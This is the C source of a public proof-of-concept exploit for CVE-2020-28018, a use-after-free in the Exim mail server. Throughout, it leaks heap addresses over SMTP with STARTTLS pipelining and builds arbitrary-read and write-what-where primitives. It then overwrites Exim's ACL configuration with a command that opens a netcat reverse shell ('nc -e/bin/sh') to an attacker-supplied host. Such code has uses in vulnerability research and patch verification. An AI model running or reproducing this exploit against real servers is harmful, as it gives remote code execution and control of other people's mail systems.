/*

    CVE-2020-28018 PoC: Exim Use-After-Free leading to Remote Code Execution

	- @lockedbyte -

    For more information on this exploit visit: https://adepts.of0x.cc/exim-cve-2020-28018/
    You can visit the official Qualys advisory here: https://www.qualys.com/2021/05/04/21nails/21nails.txt

*/


#include <stdio.h>
#include <errno.h>
#include <unistd.h>
#include <malloc.h>
#include <string.h>
#include <time.h>
#include <sys/socket.h>
#include <resolv.h>
#include <netdb.h>
#include <openssl/ssl.h>
#include <openssl/err.h>

/*
	You may need to change this config for this exploit to work
	  on your specific version of exim, config, libc used etc
*/

/* -- START EXP CONFIG -- */

#define PIPLN_ITER 0x9 /* PIPLN_ITER fill for leak phase */
#define POST_PIPLN_ITER 0x2 /* POST_PIPLN_ITER fill for leak phase */
#define BASE_OFF 0x8fcb0-0x30//0x8fd90 /* offset from your leak to heap base */
#define STRCT_OV_PAD 0x8 /* padding for struct overwrite (alignment for struct overwrite) */
#define PRE_FILL_OV 0x3 /* pre-fill for struct overwrite */
#define POST_JUNK_ALIGN 0x708 /* POST_JUNK_ALIGN fill for struct overwrite */
#define SEND_SZ_OV 0x200 /* bytes to send so SEND_SZ_OV*DATA_X_ITER makes header max err happen */
#define DATA_X_ITER 0x800 /* number of times to send MSG to reach header max err */
#define EHLO_PAD 0x16e /* EHLO pad for heap requests */
#define CFG_QUERY "acl_check_mail" /* ACL used for MAIL FROM checking */

/* -- END EXP CONFIG */

/* -- START EXP SETTINGS -- */

unsigned int output_level = 0;
unsigned int pause_s = 1;
unsigned int escalate = 0;

#define DEBUG 0
#define DELAY_TIME 0.5 /* if connection is giving problems, increase this value */

/*-- END EXP SETTINGS -- */


#ifndef INJECT_CFG /* you can change the command here to another one, by default a netcat reverse shell to the specified host and port is executed */
	#define INJECT_CFG "acl_check_mail:(condition = ${run{/bin/sh -c 'nc -e/bin/sh %s %d'}})"
#endif

#ifndef FAIL
	#define FAIL -1
#endif

#ifndef HEXDUMP_COLS
	#define HEXDUMP_COLS 16
#endif

#ifndef MAX_HOST
	#define MAX_HOST 4096
#endif

#ifndef MAX_CONFIG_SZ
	#define MAX_CONFIG_SZ 1024
#endif

#ifndef MAX_PIPLN_SZ
	#define MAX_PIPLN_SZ 1024*1024
#endif

#ifndef MAX_STRUCT_OVERWRITE_SZ
	#define MAX_STRUCT_OVERWRITE_SZ 1024*1024 + 500
#endif

#ifndef ADDR_ANY_X
	#define ADDR_ANY_X "0.0.0.0"
#endif

#ifndef MAX_POST_PIPLN_SZ
	#define MAX_POST_PIPLN_SZ 1024*1024
#endif

#ifndef HEAP_RANGE_OFF
	#define HEAP_RANGE_OFF 0x100000 /* heap range where to search for config from heap base */
#endif

enum CONN_T {CLEARTEXT_T, TLS_T};

SSL_CTX *ctx = NULL;

unsigned int leak_flg = 0; /* are we leaking something on this data exchange? */
unsigned int data_flg = 0; /* is there data to show through hexdump? */
unsigned int found_flg = 0; /* is the config address found? */
unsigned int mem_flg = 0; /* is the memory we are sending binary data? or string? */

unsigned long READ_SZ = 0x1000; /* default read size to receive on arbitrary read */

unsigned long heap_base = NULL; /* we will save here heap base address when leaked */
unsigned long curr_heap = NULL; /* curr heap for config search */
unsigned long config_addr = NULL; /* when finding config address, we will save it here */

char *mem_exfil = NULL; /* used for exfiltrating memory */

/* --- START COMMANDS --- */

#define EHLO_CMD "EHLO pwner\n" /* EHLO msg */
#define STARTTLS_CMD "STARTTLS\n" /* command to start a TLS connection */
#define PIPLN_01_CMD_X "MAIL FROM: <>\nNO" /* MAIL FROM + pipeline first half NOOP */
#define PIPLN_02_CMD "OP\n" /* rest of NOOP */

/* --- END COMMANDS --- */


/* --- START CONN-RELATED FUNCTIONS --- */

/* connect to target server */

int remote_conn(const char *hostname, int port) {
    int sd = 0;
    struct hostent *host = NULL;
    struct sockaddr_in addr;
    if((host = gethostbyname(hostname)) == NULL) {
        puts("[-] Something went wrong resolving target hostname");
        exit(1);
    }
    sd = socket(PF_INET, SOCK_STREAM, 0);
    bzero(&addr, sizeof(addr));
    addr.sin_family = AF_INET;
    addr.sin_port = htons(port);
    addr.sin_addr.s_addr = *(long*)(host->h_addr);
    if(connect(sd, (struct sockaddr*)&addr, sizeof(addr)) != 0) {
        close(sd);
	puts("[-] Something went wrong connecting to target");
	exit(1);
    }
    return sd;
}

/* OpenSSL's init CTX */

SSL_CTX *init_ctx_x(void) {
    SSL_METHOD *method = NULL;
    SSL_CTX *ctx = NULL;
    OpenSSL_add_all_algorithms();
    SSL_load_error_strings();
    method = TLSv1_2_client_method();
    ctx = SSL_CTX_new(method);
    if (ctx == NULL) {
        puts("[-] Something went wrong in init_ctx_x()");
        exit(1);
    }
    return ctx;
}

/* initialize encrypted connection channel */

SSL *initialize_enc_channel(int fd) {
	SSL *ssl = NULL;
	SSL_library_init();
	ctx = init_ctx_x();
	ssl = SSL_new(ctx);
	SSL_set_fd(ssl, fd);
	if(SSL_connect(ssl) == FAIL) {
		puts("[-] Something went wrong initializing encrypted channel");
		return NULL;
	}
	return ssl;
}

/* show server TLS certificates */

void show_certs(SSL* ssl) {
    X509 *cert = NULL;
    char *line = NULL;
    
    cert = SSL_get_peer_certificate(ssl);
    
    if (cert != NULL) {
        printf("[+] Server certificates:\n");
        line = X509_NAME_oneline(X509_get_subject_name(cert), 0, 0);
        printf("\t[i] Subject: %s\n", line);
        if(line)
        	free(line);
        line = X509_NAME_oneline(X509_get_issuer_name(cert), 0, 0);
        printf("\t[i] Issuer: %s\n", line);
        if(line) {
        	free(line);
        	line = NULL;
        }
        if(cert) {
        	X509_free(cert);
        	cert = NULL;
        }
    } else
        puts("[i] No client certificates configured");
        
    return;
}

/* close TLS session */

void close_tls_channel(SSL *ssl) {
	SSL_shutdown(ssl);
	SSL_free(ssl);
	return;
}


/* send data to server */

int send_data(long fd, char *buf, size_t size, int method_t) {
	int ret = 0;
	switch(method_t) {
		case CLEARTEXT_T:
			ret = write(fd, buf, size);
			break;
		case TLS_T:
			ret = SSL_write((SSL *)fd, buf, size);
			break;
		default:
			puts("[-] Unknown error ocurred.");
			exit(1);
	}
	return ret;
}

/* receive data from server */

int recv_data(long fd, char *buf, size_t size, int method_t) {
	int ret = 0;
	switch(method_t) {
		case CLEARTEXT_T:
			ret = read(fd, buf, size);
			break;
		case TLS_T:
			ret = SSL_read((SSL *)fd, buf, size);
			break;
		default:
			puts("[-] Unknown error ocurred.");
			exit(1);
	}
	return ret;
}

/* send-receive function with different implementations */

void exchange_data(long fd, char *buf, size_t size, int send_flg, int recv_flg, int method_t) {

	if(send_flg) {
	        #if DEBUG
	        	printf("[DEBUG] Sending: %s\n", buf);
	        #endif
	        if(!mem_flg)
			send_data(fd, buf, strlen(buf), method_t);
		else
			send_data(fd, buf, mem_flg, method_t);
	}
	
	sleep(DELAY_TIME);
	
	if(recv_flg) {
		if(data_flg) {
			recv_data(fd, mem_exfil, READ_SZ, method_t);
		} else if(mem_flg && !data_flg) {
			recv_data(fd, buf, size, method_t);
		} else {
			recv_data(fd, buf, size, method_t);
			buf[size-1] = '\0';
		}
		#if DEBUG
			printf("%s", buf);
		#endif
		if(leak_flg) {
			puts("\n[+] Memory leak: \n");
			hexdump(buf, size/16);
			puts("");
			identify_leak(buf, size);
		} else if(data_flg) {
			#if DEBUG
				puts("\n[+] Output Data: ");
				hexdump(mem_exfil, size/16);
				puts("");
			#endif
			identify_config(mem_exfil, MAX_POST_PIPLN_SZ);
		}
	}
	
	sleep(DELAY_TIME);
	
	return;
}

/* print an hexdump of the given data */

void hexdump(void *mem, unsigned int len) {
        unsigned int i = 0, j = 0;
        for(i = 0; i < len + ((len % HEXDUMP_COLS) ? (HEXDUMP_COLS - len % HEXDUMP_COLS) : 0); i++) {
                if(i % HEXDUMP_COLS == 0)
                        printf("\t0x%06x: ", i);
                if(i < len)
                        printf("%02x ", 0xFF & ((char*)mem)[i]);
                else
                        printf("   ");
                if(i % HEXDUMP_COLS == (HEXDUMP_COLS - 1)) {
                        for(j = i - (HEXDUMP_COLS - 1); j <= i; j++) {
                                if(j >= len)
                                        putchar(' ');
                                else if(isprint(((char*)mem)[j]))
                                        putchar(0xFF & ((char*)mem)[j]);       
                                else
                                        putchar('.');
                        }
                        putchar('\n');
                }
        }
}

/* identify data by query (CFG_QUERY) */

char *strstrx(const char *str1, size_t sz_1, const char *str2) {
	int i = 0;
	char *f = NULL;
	while(i < sz_1) {
		if(str1[i] == str2[0]) {
			if(memcmp(str1+i, str2, strlen(str2)) == 0) {
				f = str1+i;
				break;
			}
		}
		i++;
	}
	return f;
}

/* pause to use for each phase (just for debugging) */

void pausex(void) {
	char buf[1];
	read(0, buf, 1);
	return;
}

/* reinitialize a buffer for sending-receiving */

void reinit_mem(char *buf, size_t size, const char *str) {
	memset(buf, '\0', size);
	if(mem_flg) {
		memcpy(buf, str, mem_flg);
		return;
	}
	strncpy(buf, str, size);
	buf[size-1] = '\0';
	return;
}

/* parse data to identify config using CFG_QUERY */

void identify_config(char *buf, size_t size) {
	char *f = NULL;
	unsigned long r_ptr = NULL;
	buf[size-1] = '\0';
	f = strstrx(buf, size, CFG_QUERY);
	if(f) {
		found_flg = 1;
		r_ptr = curr_heap+(f-buf);
		config_addr = r_ptr;
	}
	return;
}

/* parse leak to identify heap pointers on data dump */

void identify_leak(char *buf, size_t size) {
	int i = 0, x = 0;
	uint64_t *leak = NULL;
	int addr_idx = 0;
	char lk[sizeof(uint64_t)];
	
	memset(lk, '\0', sizeof(lk));
	
	while(i < size) {
		if(buf[i++] == 0x55) {
			addr_idx = i+2;
			break;
		}
	}
	
	x = 0;
	while(x < sizeof(uint64_t)) {
		lk[x++] = buf[(addr_idx++)-8];
	}
	
	leak = &lk;
	heap_base = *leak - BASE_OFF;
	
	printf("\t[+] Leaked heap address = 0x%lx\n", *leak);
	printf("\t[+] Leaked heap_base = 0x%lx\n\n", heap_base);
	
	return;
}

/* info leak */

int leak_phase(char *hostname, int port) {

	long fd = 0;
	int count = 0;
	int i = 0, x = 0;
	SSL *ssl = NULL;
	char *PIPLN_01_CMD = NULL;
	char *POST_PIPLN = NULL;
	char buf[4096];

	memset(buf, '\0', sizeof(buf));

	PIPLN_01_CMD = calloc(MAX_PIPLN_SZ, sizeof(char));
	POST_PIPLN = calloc(MAX_POST_PIPLN_SZ, sizeof(char));
	
	if(output_level)
		printf("[+] Connecting to %s:%d\n", hostname, port);
	
	fd = remote_conn(hostname, port);
	
	exchange_data(fd, buf, sizeof(buf)-1, 0, 1, CLEARTEXT_T);
	
	if(output_level)
		puts("[*] Sending EHLO...");
		
	reinit_mem(buf, sizeof(buf), "EHLO AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\n");
	exchange_data(fd, buf, sizeof(buf)-1, 1, 1, CLEARTEXT_T);
	
	if(output_level)
		puts("[*] Initializing an encrypted TLS channel...");
		
	reinit_mem(buf, sizeof(buf), STARTTLS_CMD);
	exchange_data(fd, buf, sizeof(buf)-1, 1, 1, CLEARTEXT_T);
	
	ssl = initialize_enc_channel(fd);
	
	if(!ssl)
		return;
	
	if(output_level)
		printf("[+] Initialized encrypted channel with %s:%d (%s)\n", hostname, 	
		                                                        port, 
		                                                   SSL_get_cipher(ssl));
	show_certs(ssl);
	
	if(output_level)
		puts("[*] Sending EHLO...");
		
	reinit_mem(buf, sizeof(buf), "EHLO AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\n");
	exchange_data(ssl, buf, sizeof(buf)-1, 1, 1, TLS_T);

	reinit_mem(buf, sizeof(buf), "MAIL FROM: <>\n");
	exchange_data(ssl, buf, sizeof(buf)-1, 1, 1, TLS_T);
	
	if(output_level)
		puts("[*] Sending pipelined command #1...");
	
	i = 0;
	while(i < PIPLN_ITER) {
		strncat(PIPLN_01_CMD, "RCPT TO: postmaster\n", MAX_PIPLN_SZ-1);
		i++;
	}
	strncat(PIPLN_01_CMD, "NO", MAX_PIPLN_SZ-1);

	reinit_mem(buf, sizeof(buf), PIPLN_01_CMD);
	exchange_data(ssl, buf, sizeof(buf)-1, 1, 0, TLS_T);
	
	if(output_level)
		puts("[*] Closing TLS connection channel...");
		
	close_tls_channel(ssl);
	
	ssl = NULL;
	
	if(output_level)
		puts("[*] Sending pipelined command #2...");
		
	reinit_mem(buf, sizeof(buf), PIPLN_02_CMD);
	exchange_data(fd, buf, sizeof(buf)-1, 1, 1, CLEARTEXT_T);

	for(int j = 0 ; j < POST_PIPLN_ITER ; j++)
		strncat(POST_PIPLN, "RCPT TO: root@localhost\n", MAX_POST_PIPLN_SZ-1);
	
	reinit_mem(buf, sizeof(buf), POST_PIPLN);
	exchange_data(fd, buf, sizeof(buf)-1, 1, 1, CLEARTEXT_T);
	
	if(output_level)
		puts("[*] Sending EHLO...");
	
	reinit_mem(buf, sizeof(buf), EHLO_CMD);
	exchange_data(fd, buf, sizeof(buf)-1, 1, 1, CLEARTEXT_T);
	
	if(output_level)
		puts("[*] Re-initializing an encrypted TLS channel...");
	
	reinit_mem(buf, sizeof(buf), STARTTLS_CMD);
	exchange_data(fd, buf, sizeof(buf)-1, 1, 1, CLEARTEXT_T);
	
	ssl = initialize_enc_channel(fd);
	
	if(!ssl)
		return;
	
	if(output_level)
		printf("[+] Initialized encrypted channel with %s:%d (%s)\n", hostname, 
		                                                            port, 
		                                                         SSL_get_cipher(ssl));
	
	if(output_level)
		puts("[*] Triggering Use-After-Free...");
	
	leak_flg = 1;
	
	reinit_mem(buf, sizeof(buf), "NOOP\r\n");
	exchange_data(ssl, buf, sizeof(buf)-1, 1, 1, TLS_T);
	
	leak_flg = 0;
	
	if(PIPLN_01_CMD) {
		free(PIPLN_01_CMD);
		PIPLN_01_CMD = NULL;
	}

	if(POST_PIPLN) {
		free(POST_PIPLN);
		POST_PIPLN = NULL;
	}
	
	if(ssl) {
		SSL_free(ssl);
		ssl = NULL;
	}
	if(ctx) {
		SSL_CTX_free(ctx);
		ctx = NULL;
	}
	
	close(fd);

	return 1;
}

/* arbitrary read primitive */

int arbitrary_read(char *hostname, int port) {
	long fd = 0;
	int count = 0, curr = 0;
	int i = 0, x = 0, l = 0;
	SSL *ssl = NULL;
	char *STRUCT_OVERWRITE = NULL;
	unsigned long inject_point = NULL;
	char buf[4096];
	char tmp_cmd[2000];

	memset(buf, '\0', sizeof(buf));
	memset(tmp_cmd, '\0', sizeof(tmp_cmd));

	STRUCT_OVERWRITE = calloc(MAX_STRUCT_OVERWRITE_SZ, sizeof(char));
	
	if(output_level)
		printf("[+] Connecting to %s:%d\n", hostname, port);
	
	fd = remote_conn(hostname, port);
	
	exchange_data(fd, buf, sizeof(buf)-1, 0, 1, CLEARTEXT_T);

	reinit_mem(buf, sizeof(buf), EHLO_CMD);
	exchange_data(fd, buf, sizeof(buf)-1, 1, 1, CLEARTEXT_T);
		
	reinit_mem(buf, sizeof(buf), STARTTLS_CMD);
	exchange_data(fd, buf, sizeof(buf)-1, 1, 1, CLEARTEXT_T);
	
	ssl = initialize_enc_channel(fd);
	
	if(!ssl)
		return;
	
	reinit_mem(buf, sizeof(buf), EHLO_CMD);
	exchange_data(ssl, buf, sizeof(buf)-1, 1, 1, TLS_T);

	reinit_mem(buf, sizeof(buf), "MAIL FROM: <>\n");
	exchange_data(ssl, buf, sizeof(buf)-1, 1, 1, TLS_T);
	
	i = 0;
	while(i < PRE_FILL_OV) {
		reinit_mem(buf, sizeof(buf), "RCPT TO: <postmaster>\n");
		exchange_data(ssl, buf, sizeof(buf)-1, 1, 1, TLS_T);
		i++;
	}


	reinit_mem(buf, sizeof(buf), "RCPT TO: <postmaster>\nNO");
	exchange_data(ssl, buf, sizeof(buf)-1, 1, 0, TLS_T);
		
	close_tls_channel(ssl);
	ssl = NULL;
		
	reinit_mem(buf, sizeof(buf), PIPLN_02_CMD);
	exchange_data(fd, buf, sizeof(buf)-1, 1, 1, CLEARTEXT_T);
	
	memcpy(tmp_cmd, "EHLO ", 5);
	
	i = 0;
	while(i < EHLO_PAD) {
		tmp_cmd[i+5] = 0x41;
		i++;
	}
	tmp_cmd[i+5] = 0x0a;
	
	reinit_mem(buf, sizeof(buf), tmp_cmd);
	exchange_data(fd, buf, sizeof(buf)-1, 1, 1, CLEARTEXT_T);
	
	reinit_mem(buf, sizeof(buf), "MAIL FROM:<>\nRCPT TO: <postmaster>\nDATA\n");
	exchange_data(fd, buf, sizeof(buf)-1, 1, 1, CLEARTEXT_T);
	
	x = 8; // padding
	
	mem_flg = SEND_SZ_OV;
	
	memcpy(STRUCT_OVERWRITE, &curr_heap, 8);
	
	while(x < SEND_SZ_OV) {
		memcpy(STRUCT_OVERWRITE+x, &READ_SZ, 4);
		memcpy(STRUCT_OVERWRITE+x+4, &READ_SZ, 4);
		memcpy(STRUCT_OVERWRITE+x+8, &curr_heap, 8);
		x += 16;
	}
	
	x = 0;
	while(x < DATA_X_ITER) {
		reinit_mem(buf, sizeof(buf), STRUCT_OVERWRITE);
		exchange_data(fd, buf, sizeof(buf)-1, 1, 0, CLEARTEXT_T);
		sleep(0.5);
		x++;
	}
	
	mem_flg = 0;
	
	reinit_mem(buf, sizeof(buf), "XX\n");
	exchange_data(fd, buf, sizeof(buf)-1, 1, 0, CLEARTEXT_T);
	
	reinit_mem(buf, sizeof(buf), ".\n");
	exchange_data(fd, buf, sizeof(buf)-1, 1, 1, CLEARTEXT_T);

	memset(tmp_cmd, '\0', sizeof(tmp_cmd));
	memcpy(tmp_cmd, "MAIL FROM: <someone@somewhere> AUTH= ", 37);
	
	i = 0;
	while(i < POST_JUNK_ALIGN) {
		tmp_cmd[i+37] = 0x52;
		i++;
	}
	tmp_cmd[i+37] = 0x0a;
	tmp_cmd[i+38] = 0x00;
	
	reinit_mem(buf, sizeof(buf), tmp_cmd);
	exchange_data(fd, buf, sizeof(buf)-1, 1, 1, CLEARTEXT_T);
	
	reinit_mem(buf, sizeof(buf), STARTTLS_CMD);
	exchange_data(fd, buf, sizeof(buf)-1, 1, 1, CLEARTEXT_T);
	
	ssl = initialize_enc_channel(fd);

	if(!ssl)
		return;

	data_flg = 1;
	
	memcpy(STRUCT_OVERWRITE, "MAIL FROM:<>\n", 14);
	
	reinit_mem(buf, sizeof(buf), STRUCT_OVERWRITE);
	exchange_data(ssl, buf, sizeof(buf)-1, 1, 1, TLS_T);
	
	data_flg = 0;
		
	if(STRUCT_OVERWRITE) {
		free(STRUCT_OVERWRITE);
		STRUCT_OVERWRITE = NULL;
	}
	
	if(ssl) {
		SSL_free(ssl);
		ssl = NULL;
	}
	
	if(ctx) {
		SSL_CTX_free(ctx);
		ctx = NULL;
	}
	
	close(fd);

	return 1;
}

/* implementation of a config search using leaked heap pointers + arbitrary read primitive */

int search_config(char *hostname, int port) {
	int i = 0, ret = 0;
	
	mem_exfil = calloc(HEAP_RANGE_OFF, sizeof(char));
	curr_heap = heap_base;
	
	while(i < (HEAP_RANGE_OFF/READ_SZ)) {

		arbitrary_read(hostname, port);
		curr_heap += READ_SZ;
		printf("\t[*] ptr = 0x%lx ; sz = %ld\n", curr_heap, READ_SZ);
		if(found_flg) {
			printf("\n\t[+] Config found at: 0x%lx\n\n", config_addr);
			ret = 1;
			break;
		}
		i++;
	}
	
	if(mem_exfil) {
		free(mem_exfil);
		mem_exfil = NULL;
	}
	
	return ret;
}

/* write-what-where primitive */

int write_what_where(char *hostname, int port, char *injected_config) {

	long fd = 0;
	int count = 0;
	int curr = 0;
	int i = 0, x = 0, l = 0;
	SSL *ssl = NULL;
	char *STRUCT_OVERWRITE = NULL;
	unsigned long inject_point = NULL;
	char buf[4096];
	char inject[4096];
	char tmp_cmd[2000];
	
	memset(buf, '\0', sizeof(buf));
	memset(inject, '\0', sizeof(inject));
	memset(tmp_cmd, '\0', sizeof(tmp_cmd));

	STRUCT_OVERWRITE = calloc(MAX_STRUCT_OVERWRITE_SZ, sizeof(char));
	
	if(output_level)
		printf("[+] Connecting to %s:%d\n", hostname, port);
	
	fd = remote_conn(hostname, port);
	
	exchange_data(fd, buf, sizeof(buf)-1, 0, 1, CLEARTEXT_T);



	reinit_mem(buf, sizeof(buf), EHLO_CMD);
	exchange_data(fd, buf, sizeof(buf)-1, 1, 1, CLEARTEXT_T);
		
	reinit_mem(buf, sizeof(buf), STARTTLS_CMD);
	exchange_data(fd, buf, sizeof(buf)-1, 1, 1, CLEARTEXT_T);
	
	ssl = initialize_enc_channel(fd);
	
	if(!ssl)
		return;
	
	reinit_mem(buf, sizeof(buf), EHLO_CMD);
	exchange_data(ssl, buf, sizeof(buf)-1, 1, 1, TLS_T);

	reinit_mem(buf, sizeof(buf), "MAIL FROM: <>\n");
	exchange_data(ssl, buf, sizeof(buf)-1, 1, 1, TLS_T);
	
	i = 0;
	while(i < PRE_FILL_OV) {
		reinit_mem(buf, sizeof(buf), "RCPT TO: <postmaster>\n");
		exchange_data(ssl, buf, sizeof(buf)-1, 1, 1, TLS_T);
		i++;
	}
	
	reinit_mem(buf, sizeof(buf), "RCPT TO: <postmaster>\nNO");
	exchange_data(ssl, buf, sizeof(buf)-1, 1, 0, TLS_T);
		
	close_tls_channel(ssl);
	ssl = NULL;
		
	reinit_mem(buf, sizeof(buf), PIPLN_02_CMD);
	exchange_data(fd, buf, sizeof(buf)-1, 1, 1, CLEARTEXT_T);
	
	memcpy(tmp_cmd, "EHLO ", 5);
	
	i = 0;
	while(i < EHLO_PAD) {
		tmp_cmd[i+5] = 0x41;
		i++;
	}
	tmp_cmd[i+5] = 0x0a;
	tmp_cmd[i+6] = 0x00;
	
	reinit_mem(buf, sizeof(buf), tmp_cmd);
	exchange_data(fd, buf, sizeof(buf)-1, 1, 1, CLEARTEXT_T);
	
	reinit_mem(buf, sizeof(buf), "MAIL FROM:<>\nRCPT TO: <postmaster>\nDATA\n");
	exchange_data(fd, buf, sizeof(buf)-1, 1, 1, CLEARTEXT_T);

	inject_point = config_addr - strlen("501 (");
	printf("\t[+] inject_point = 0x%lx\n", inject_point);
	
	x = STRCT_OV_PAD; // padding
	mem_flg = SEND_SZ_OV;
	memcpy(STRUCT_OVERWRITE, "BBBBBB", 6);
	while(x < SEND_SZ_OV) {
		memcpy(STRUCT_OVERWRITE+x, "AAAA", 4);
		memcpy(STRUCT_OVERWRITE+x+4, "\x00\x00\x00\x00", 4);
		memcpy(STRUCT_OVERWRITE+x+8, &inject_point, 8);
		x += 16;
	}
	
	x = 0;
	while(x < DATA_X_ITER) {
		reinit_mem(buf, sizeof(buf), STRUCT_OVERWRITE);
		exchange_data(fd, buf, sizeof(buf)-1, 1, 0, CLEARTEXT_T);
		sleep(0.5);
		x++;
	}
	
	mem_flg = 0;
	
	reinit_mem(buf, sizeof(buf), "XX\n");
	exchange_data(fd, buf, sizeof(buf)-1, 1, 0, CLEARTEXT_T);
	
	reinit_mem(buf, sizeof(buf), ".\n");
	exchange_data(fd, buf, sizeof(buf)-1, 1, 1, CLEARTEXT_T);
	
	memset(tmp_cmd, '\0', sizeof(tmp_cmd));
	memcpy(tmp_cmd, "MAIL FROM: <someone@somewhere> AUTH= ", 37);
	
	i = 0;
	while(i < POST_JUNK_ALIGN) {
		tmp_cmd[i+37] = 0x52;
		i++;
	}
	tmp_cmd[i+37] = 0x0a;
	tmp_cmd[i+38] = 0x00;
	
	reinit_mem(buf, sizeof(buf), tmp_cmd);
	exchange_data(fd, buf, sizeof(buf)-1, 1, 1, CLEARTEXT_T);
	
	reinit_mem(buf, sizeof(buf), STARTTLS_CMD);
	exchange_data(fd, buf, sizeof(buf)-1, 1, 1, CLEARTEXT_T);
	
	ssl = initialize_enc_channel(fd);

	if(!ssl)
		return;
	
	snprintf(inject, sizeof(inject)-1, "MAIL FROM: %s\nMAIL FROM: <>\nRCPT TO: <root@localhost>\n", injected_config);
	
	reinit_mem(buf, sizeof(buf), inject);
	exchange_data(ssl, buf, sizeof(buf)-1, 1, 0, TLS_T);
		
	if(STRUCT_OVERWRITE) {
		free(STRUCT_OVERWRITE);
		STRUCT_OVERWRITE = NULL;
	}
	
	if(ssl) {
		SSL_free(ssl);
		ssl = NULL;
	}
	
	if(ctx) {
		SSL_CTX_free(ctx);
		ctx = NULL;
	}
	
	close(fd);

	return 1;
}

/* wrapping for write_what_where() */

int inject_cmd(char *hostname, int port, char *attacker_host, int attacker_port) {
	char injected_config[MAX_CONFIG_SZ];
	memset(injected_config, '\0', sizeof(injected_config));
	snprintf(injected_config, sizeof(injected_config)-1, INJECT_CFG, attacker_host, attacker_port);
	return write_what_where(hostname, port, injected_config);
}

int main(int argc, char *argv[]) {

	int TARGET_PORT = 0, ATTACKER_PORT = 0;
	pthread_t listener_p = 0;
	char TARGET_HOST[MAX_HOST];
	char ATTACKER_HOST[MAX_HOST];
	
	memset(TARGET_HOST, '\0', sizeof(TARGET_HOST));
	memset(ATTACKER_HOST, '\0', sizeof(ATTACKER_HOST));
		
	puts("[i] CVE-2020-28018 Proof-Of-Concept (PoC) exploit by @lockedbyte");

	if(argc < 5) {
		printf("[%%] Usage: %s <target host> <target port> <attacker host> <attacker port>\n", argv[0]);
		exit(0);
	}
	
	snprintf(TARGET_HOST, sizeof(TARGET_HOST)-1, "%s", argv[1]);
	TARGET_PORT = atoi(argv[2]);
	
	snprintf(ATTACKER_HOST, sizeof(ATTACKER_HOST)-1, "%s", argv[3]);
	ATTACKER_PORT = atoi(argv[4]);
	
	/* 1. we leak heap pointers to bypass ASLR */
	
	puts("[*] Leaking heap addresses...");
	
	if(!leak_phase(TARGET_HOST, TARGET_PORT)) {
		puts("[-] Something went wrong on memory leak phase");
		exit(0);
	}
	
	if(pause_s)
		pausex();
		
	/* 2. we search for exim config for exploit reliability purposes (not a fixed offset) */
	
	puts("[*] Searching for Exim configuration in memory...\n");
	
	if(!search_config(TARGET_HOST, TARGET_PORT)) {
		puts("[-] Something went wrong on config search phase");
		exit(0);
	}
	
	puts("[i] Execute netcat now to listen for reverse shell and press enter...");
	
	pausex();
	
	/* 3. we corrupt an ACL to run an arbitrary command */
	
	puts("[*] Corrupting Exim configuration with a malicious entry...");

	if(!inject_cmd(TARGET_HOST, TARGET_PORT, ATTACKER_HOST, ATTACKER_PORT)) {
		puts("[-] Something went wrong on config corruption phase");
		exit(0);
	}
	
	puts("[+] Exploit completed!");
	
	return 0;
}
